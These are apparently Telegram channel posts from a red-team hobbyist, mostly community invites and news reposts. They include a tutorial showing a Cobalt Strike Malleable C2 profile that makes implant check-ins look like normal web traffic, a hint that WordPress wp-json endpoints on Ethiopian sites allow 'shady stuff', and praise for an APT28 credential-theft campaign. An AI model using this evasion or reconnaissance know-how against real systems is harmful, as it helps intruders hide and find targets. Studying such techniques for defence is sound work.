yoo so i just created a Red Team Discord

If you're into hacking, redteaming ofc , or learning real-world security come join us.

👉 https://discord.gg/t4tcrF95

Let’s grow and learn together :))

@AfroSec

melllow my fellow hackers and defenders
how u holdin up tho ? 🤟

@AfroSec

> be iranian threat actors
> compromise FBI directors personal email
> fast forward like, 5 hours
> $10,000,000 bounty on head

Opinion: I think Kash Patel is extremely mad

this is a lot fr 🤯🤯
@AfroSec

let the night grind begin huh 😎😎

btw mn gud new znabu like damn 🥶

@AfroSec

some threat actors get into a system — let’s say your personal computer.

now you’re also a hacker… you think:
“Yeah I can just monitor the traffic with Wireshark and catch them blah blah.”

but here’s the thing…

They can make their traffic look completely legit. how?

Malleable C2 profiles

This is basically a domain-specific language (DSL) introduced by Cobalt Strike that lets redteamers redefine how their beacon(implant) communicates with the TS.

means....
They can disguise malicious traffic to look like:

* browsing social media
* streaming music
* accessing cloud services

So your “suspicious traffic” just looks normal.

Core components:

• HTTP GET / POST
• Global options (sleeptime, useragent, etc.)
• Data transformation & obfuscation (prepend, append, encoding)

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
set jitter 0;
set sleeptime 0;
set timeout 10;
set retry 0;

http-get {
    set uri "/afro_checkin.php";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        header "Connection" "keep-alive";
        metadata {
            base64;
            prepend "user=";
            header "z-User";
        }
    }
    server {
        header "Server" "nginx/1.18.0";
        contentencoding "gzip";
        output {
            print;
        }
    }
}

what’s happening here?

• Beacon checks in with metadata (ID, hostname, process, etc.)
• Data gets base64 encoded
• Then "user=" is prepended → user=base64payload
• Sent inside a custom header → z-User

Now it just looks like a normal HTTP request header.

Meanwhile…

• Team Server responds with payload
• Encoded + compressed (gzip)
• Still looks legit in traffic

There are a lot of templates on GitHub go check them out

but don’t just copy-paste them
u will get flagged fast :)

Most public profiles are already burned.

Also…
~90% of them are HTTP/S listeners

If you want to go deeper (P2P, SMB, DNS…)

@AfroSec

hmmm 🙃

@AfroSec

sijemer eko we are 😭😭🥀cooked

@AfroSec

thank you guys for your birthday wishes, I really mean it
A lot of new members joined this year too , thank you all for being part of my journey.

much love and respect 😊

@AfroSec

😂😂 this era

Me, Myself and I ❌
Me, Myself and AI ✅

even telegram cant leave as alone eko gud new 😏
@AfroSec

hey fam
my friend is out here mastering everything from creative hobbies to diving deep into the world of hacking like wow

If you’re into tech, security, or just love seeing someone passionate about leveling up, you should definitely check her out!

Big respect for the grind 💯🔥

so lets show some love and support :))

channel : https://t.me/vxnsec


@AfroSec

heyyy everyone
we are gonna be live on discord just kinda chill event we will solve one AD machine and learn along the way

if u r free check it out now https://discord.gg/XP948E8B :)

@AfroSec

did anyone see what i posted lool :)

#experience
from what I saw (experience), most Ethiopian websites are CMS-based, mainly WordPress. The funny part is that they completely trust the CMS to handle everything end-to-end, like security or other configurations. but, the fact is that the wp-json schema is enough to gather all their endpoints and do shady stuff 😂 Sometimes they open sensitive directories like wp-includes or wp-content, then forget about their existence, which is a really bad security measure.

@AfroSec

jst found this on linkedin and i liked it :)

@AfroSec

🚨 WARNING - APT28 ran a global router hijack to steal credentials.

The group compromised MikroTik and TP-Link devices, rewrote DNS settings, and redirected traffic for credential theft at scale -- impacting 18,000+ IPs across 120 countries, including government and cloud targets.

🔗 Read here → https://thehackernews.com/2026/04/russian-state-linked-apt28-exploits.html

W 🔥 attack chain fr 👌

@AfroSec